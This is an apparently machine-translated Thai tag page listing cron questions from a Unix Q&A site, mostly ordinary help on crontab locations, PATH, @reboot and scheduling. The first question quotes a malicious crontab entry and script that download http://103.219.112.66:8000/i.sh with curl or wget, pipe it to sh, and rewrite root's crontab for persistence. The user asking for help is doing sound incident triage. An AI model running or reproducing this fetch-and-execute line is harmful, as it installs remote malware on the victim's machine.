คำถามติดแท็ก cron

Cron เป็นตัวกำหนดเวลางานที่อนุญาตให้ผู้ใช้เรียกใช้คำสั่งเป็นระยะ

2
รายการ crontab ที่น่าสงสัยที่เรียกใช้ 'xribfa4' ทุก 15 นาที
ฉันต้องการเพิ่มบางอย่างลงในไฟล์ root crontab ของฉันใน Raspberry Pi ของฉันและพบรายการที่น่าสงสัยสำหรับฉันการค้นหาบางส่วนของมันบน Google ไม่ได้ทำอะไรเลย รายการ Crontab: */15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh เนื้อหาของhttp://103.219.112.66:8000/i.shคือ: export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/root echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) …
58 security  cron  malware 

2
ตำแหน่งของไฟล์ crontab
เป็นคนอื่น ๆ (มากที่สุด) ฉันแก้ไข crontab ของฉันผ่านcrontab -eที่ฉันเก็บการดำเนินการตามปกติทั้งหมดเช่นการสำรองข้อมูลส่วนเพิ่ม ntpdate การดำเนินการ rsync ต่างๆ จากสิ่งที่ฉันเข้าใจในการติดตั้งใหม่หรือผู้ใช้ใหม่สิ่งนี้จะสร้างไฟล์โดยอัตโนมัติหากไม่มีอยู่ อย่างไรก็ตามฉันต้องการคัดลอกไฟล์นี้ไปยังผู้ใช้รายอื่นดังนั้นไฟล์จริงที่ฉันแก้ไขอยู่ที่ไหน หากสิ่งนี้แตกต่างกันระหว่าง distros ฉันใช้ Centos5 และ Mint 17
52 cron  filenames 

8
cron ละเว้นตัวแปรที่กำหนดใน“ .bashrc” และ“ .bash_profile”
ฉันได้กำหนดตัวแปร "SHELL" ในไฟล์ / etc / crontab: [martin@martin ~]$ grep SHELL /etc/crontab SHELL=/usr/local/bin/bash [martin@martin ~]$ file /usr/local/bin/bash /usr/local/bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.0 (800107), stripped [martin@martin ~]$ นอกจากนี้สคริปต์ของฉันทั้งหมดในไฟล์ / etc / crontab เริ่มต้นภายใต้ผู้ใช้ "มาร์ติน" อย่างไรก็ตาม/home/martin/.bash_profile (สำหรับ login shell) …
49 bash  cron 

3
การเรียกใช้สคริปต์ระหว่างการบูท / เริ่มต้น; init.d vs cron @reboot
ฉันกำลังพยายามที่จะเข้าใจความแตกต่างระหว่างinit.dและ cron @rebootสำหรับการเรียกใช้สคริปต์เมื่อเริ่มต้น / บูตระบบ การใช้@reboot(วิธีนี้ถูกกล่าวถึงในฟอรัมนี้โดยhs.chandra ) เป็นสิ่งที่ง่ายกว่าเพียงเข้าไปในcrontab -eการสร้าง@reboot /some_directory/to_your/script/your_script.txtและจากนั้นyour_script.txtจะถูกเรียกใช้งานทุกครั้งที่มีการรีบูตระบบ ในเชิงลึกของคำอธิบาย@rebootคือที่นี่ อีกทางเลือกหนึ่งโดยฝัง/etc/init.d/your_script.txtลงในบรรทัดที่สองของสคริปต์ของคุณเช่น: #!/bin/bash # /etc/init.d/your_script.txt คุณสามารถเรียกใช้chmod +x /etc/init.d/your_script.txtและควรส่งผลyour_script.txtให้รันทุกครั้งที่ระบบบูต Q1:ความแตกต่างที่สำคัญระหว่างสองคืออะไร Q2: ข้อไหนแข็งแกร่งกว่ากัน Q3:มีหนึ่งในสองที่ดีกว่านี้หรือไม่? Q4:นี่เป็นวิธีที่ถูกต้องในการฝังสคริปต์เพื่อให้ทำงานในระหว่างการบูทหรือไม่? ฉันจะรวมไฟล์ bash .sh ไว้เพื่อทำงานในระหว่างการเริ่มต้น

3
ในฐานะที่เป็น root ฉันจะแสดงรายการ crontabs สำหรับผู้ใช้ทั้งหมดได้อย่างไร
ฉันมีสคริปต์ที่ทำงานโดยอัตโนมัติซึ่งฉันไม่พบใน crontab สำหรับผู้ใช้ที่คาดหวังดังนั้นฉันต้องการค้นหา crontabs ของผู้ใช้ทั้งหมดเพื่อหา เป็นหลักฉันต้องการเรียกใช้crontab -lสำหรับผู้ใช้ทั้งหมด
46 cron 

4
ฉันจะบอก cron ให้รันคำสั่งได้ทุกวัน ๆ (คี่ / คู่)
เมื่อกำหนดค่า cron ให้เรียกใช้คำสั่งทุกวันโดยใช้ฟิลด์ "วันเดือน" เช่น: 1 22 */2 * * COMMAND มันทำงานทุกครั้งที่วันของเดือนคี่: 1,3,5,7,9 และอื่น ๆ ฉันจะกำหนดค่า cron ให้ทำงานในวันของเดือนที่เป็นเช่น 2,6,8,10 เป็นต้นไปได้อย่างไร (โดยไม่ระบุตัวอักษรซึ่งเป็นปัญหาเนื่องจากทุกเดือนมีจำนวนวันแตกต่างกันในเดือน)
45 cron 

3
งาน Crontab เริ่มต้น +1 นาทีหลังจาก @reboot
ต้องการสคริปต์ที่ดำเนินการในการรีบูตในเวลา +1 นาที ฉันบันทึกไว้@rebootแต่มันเร็วเกินไปสำหรับสคริปต์ของฉัน วิธีดำเนินการบางครั้งหลังจากรีบูต?
42 cron 

15
รันคำสั่ง unix อย่างแม่นยำในช่วงเวลาสั้น ๆ โดยไม่เกิดความล่าช้าในการสะสมเมื่อเวลาผ่านไป
คำถาม ฉันต้องการที่จะสามารถเรียกใช้คำสั่งยูนิกซ์ได้อย่างแม่นยำทุกวินาทีในระยะเวลานาน ฉันต้องการวิธีแก้ปัญหาซึ่งไม่ล่าช้าหลังเวลาใดเวลาหนึ่งเนื่องจากเวลาที่คำสั่งนั้นต้องการสำหรับการดำเนินการ การนอนหลับ , นาฬิกาและบางหลามสคริปต์ล้มเหลวฉันทั้งหมดในเรื่องนี้ ในไมโครคอนโทรลเลอร์เช่นhttp://Arduino.ccฉันจะทำเช่นนั้นผ่านการขัดจังหวะนาฬิกาฮาร์ดแวร์ ฉันต้องการที่จะรู้ว่ามีวิธีการแก้สคริปต์เปลือกแม่นยำเวลาที่คล้ายกัน โซลูชั่นทั้งหมดที่ฉันพบใน StackExchange.com ทำให้เกิดความล่าช้าเวลาที่เห็นได้ชัดเจนหากใช้งานเกินชั่วโมง ดูรายละเอียดด้านล่าง วัตถุประสงค์ / การใช้งานจริง ฉันต้องการทดสอบว่าการเชื่อมต่อเครือข่ายของฉันนั้นต่อเนื่องหรือไม่โดยการส่งการประทับเวลาผ่านnc(netcat) ทุก ๆ 1 วินาที ผู้ส่ง: precise-timestamp-generator | tee netcat-sender.txt | nc $receiver $port ผู้รับ: nc -l -p $port > netcat-receiver.txt หลังจากเสร็จสิ้นให้เปรียบเทียบบันทึกสองรายการ: diff netcat-sender.txt netcat-receiver.txt diffs จะเป็น timestamps ที่ไม่ถูกส่ง จากนี้ฉันจะรู้ว่าเวลาใดที่ LAN / WAN / ISP …
38 cron  real-time 

5
การใช้วันที่ / เวลาของระบบใน Cron Script
ฉันกำลังตั้งค่า Cronjob ที่จะสำรองฐานข้อมูล MySQL ที่ฉันมีในเซิร์ฟเวอร์ของฉัน แต่ฉันไม่ต้องการให้มันเขียนทับไฟล์เดียวกันซ้ำแล้วซ้ำอีก แต่ฉันต้องการให้มีชุดข้อมูลสำรองมากมายให้เลือกทำโดยอัตโนมัติ ตัวอย่างเช่น: ## Cronjob, run May 21st, 2011: mysqldump -u username -ppasword database > /path/to/file/21-03-2011.sql ## SAME Conjob, run May 28th, 2011: mysqldump -u username -ppasword database > /path/to/file/28-03-2011.sql และอื่น ๆ มีวิธีใดบ้างที่ฉันสามารถใช้วันที่และ / หรือเวลาของระบบเป็นตัวแปรบางอย่างใน Cronjob ของฉัน ถ้าไม่คำแนะนำของคุณที่จะทำให้เหมือนกันคืออะไร?
37 bash  terminal  cron 

1
ฉันจะเปิดใช้งานการค้นหาและจัดคิวฐานข้อมูลที่จะสร้างได้อย่างไร
ในอินสแตนซ์ Ubuntu 10.4 ใหม่ฉันพยายามใช้locateคำสั่งเพื่อรับข้อผิดพลาดเท่านั้น locate: can not stat () `/var/lib/mlocate/mlocate.db': No such file or directory จากการใช้คำสั่งนี้กับระบบอื่นฉันเดาว่านี่หมายความว่าฐานข้อมูลยังไม่ได้ถูกสร้างขึ้น (เป็นการติดตั้งใหม่) ฉันเชื่อว่าควรรันทุกวัน แต่ฉันจะจัดคิวให้ทำงานทันทีได้อย่างไร นอกจากนี้ยังมีการกำหนด "รันทุกวัน" อย่างไร ถ้าฉันมีกล่องที่เปิดเพียงหนึ่งชั่วโมงต่อครั้งฐานข้อมูลจะถูกสร้างขึ้นด้วยตัวเองหรือไม่?

1
จะหาบันทึก Crontab ได้ที่ไหนใน CentOS
ก่อนอื่นฉันใช้ CentOS [root@a etc]# cat system-release CentOS release 6.5 (Final) [root@a cron.daily]# ps -ef | grep cron root 982 1 0 Jun14 ? 00:01:15 crond root 5692 5441 0 00:49 pts/0 00:00:00 grep cron [root@a cron.daily]# และฉันหมดทรัพยากรของฉันดังนั้นฉันต้องการลบไฟล์บันทึกเก่าในกรณีนี้ฉันต้องการลบไฟล์บันทึกเก่าที่ปลอดภัยซึ่งมีขนาดเกือบมากกว่า 100MB ดังนั้นฉันจึงให้รายการ crontab ด้านล่างสำหรับrootผู้ใช้ . [root@a etc]# crontab -l 0 1 * * …
36 centos  cron  logs  etc 

1
ทำไม crontabs ถึงไม่ถูกจัดเก็บในโฮมไดเร็กตอรี่ของผู้ใช้?
ฉันอยากรู้ว่าเหตุใด crontabs จึงถูกจัดเก็บใน / var แทนที่จะอยู่ในโฮมไดเรกทอรีของผู้ใช้ มันทำให้ความเจ็บปวดโดยรวมในการแยกไฟล์เหล่านี้สำหรับการอัพเกรด แต่ฉันสงสัยว่ามีเหตุผลเชิงตรรกะ ...

2
PATH ของ cron ตั้งอยู่ที่ไหน?
Cron ไม่ได้ใช้เส้นทางของผู้ใช้ที่เป็น crontab และมีของตัวเองแทน มันสามารถเปลี่ยนแปลงได้อย่างง่ายดายโดยการเพิ่มPATH=/foo/barที่จุดเริ่มต้นของ crontab และวิธีแก้ปัญหาแบบคลาสสิกคือการใช้เส้นทางที่แน่นอนไปยังคำสั่งที่เรียกใช้โดย cron แต่เส้นทางที่กำหนดไว้เริ่มต้นของ cron อยู่ที่ไหน? ฉันสร้าง crontab พร้อมเนื้อหาต่อไปนี้ในระบบ Arch (cronie 1.5.1-1) และทดสอบบนกล่อง Ubuntu 16.04.3 LTS ด้วยผลลัพธ์เดียวกัน: $ crontab -l * * * * * echo "$PATH" > /home/terdon/fff ที่พิมพ์: $ cat fff /usr/bin:/bin แต่ทำไม พา ธ ทั้งระบบเริ่มต้นถูกตั้งค่าไว้/etc/profileแต่มีไดเร็กทอรีอื่น: $ grep PATH= /etc/profile PATH="/usr/local/sbin:/usr/local/bin:/usr/bin" ไม่มีอะไรเกี่ยวข้องใน/etc/environmentหรือ/etc/profile.dไฟล์อื่น ๆ …
34 cron  path 

12
ใช้การแจ้งเตือน - ส่งด้วย cron
ฉันใช้ Arch Linux กับ KDE / Awesome WM ฉันพยายามที่จะได้รับ ในการทำงานด้วยnotify-sendcron ฉันได้ลองตั้งค่าDISPLAY/ XAUTHORITYตัวแปรและใช้งานnotify-sendด้วย "sudo -u" โดยไม่มีผลลัพธ์ ฉันสามารถโทรแจ้ง - ส่งแบบโต้ตอบจากเซสชันและรับการแจ้งเตือน FWIW งาน cron ทำงานได้ดีซึ่งฉันตรวจสอบโดยการสะท้อนสิ่งที่เป็นไฟล์ชั่วคราว มันเป็นเพียง "แจ้ง - ส่ง" ที่ล้มเหลวในการทำงาน รหัส: [matrix@morpheus ~]$ crontab -l * * * * * /home/matrix/scripts/notify.sh [matrix@morpheus ~]$ cat /home/matrix/scripts/notify.sh #!/bin/bash export DISPLAY=127.0.0.1:0.0 export XAUTHORITY=/home/matrix/.Xauthority echo "testing cron" …

6
Crontab ไม่เคยทำงานขณะอยู่ใน /etc/cron.d
นี่คือสิ่งที่ฉันทำกับ Debian Jessie: ติดตั้ง cron ผ่าน apt-get install cron ใส่backup_crontabไฟล์ใน/etc/cron.d/ อย่างไรก็ตามงานไม่เคยทำงาน นี่คือผลลัพธ์บางส่วน: /# crontab -l no crontab for root /# cd /etc/cron.d && ls backup_crontab /etc/cron.d# cat backup_crontab 0,15,30,45 * * * * /backup.sh >/dev/null 2>&1 มีสิ่งที่ต้องทำเพื่อเปิดใช้งาน crontab โดยเฉพาะหรือเพื่อเปิดใช้งาน cron "service" ในตัวเอง?
32 debian  cron 

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.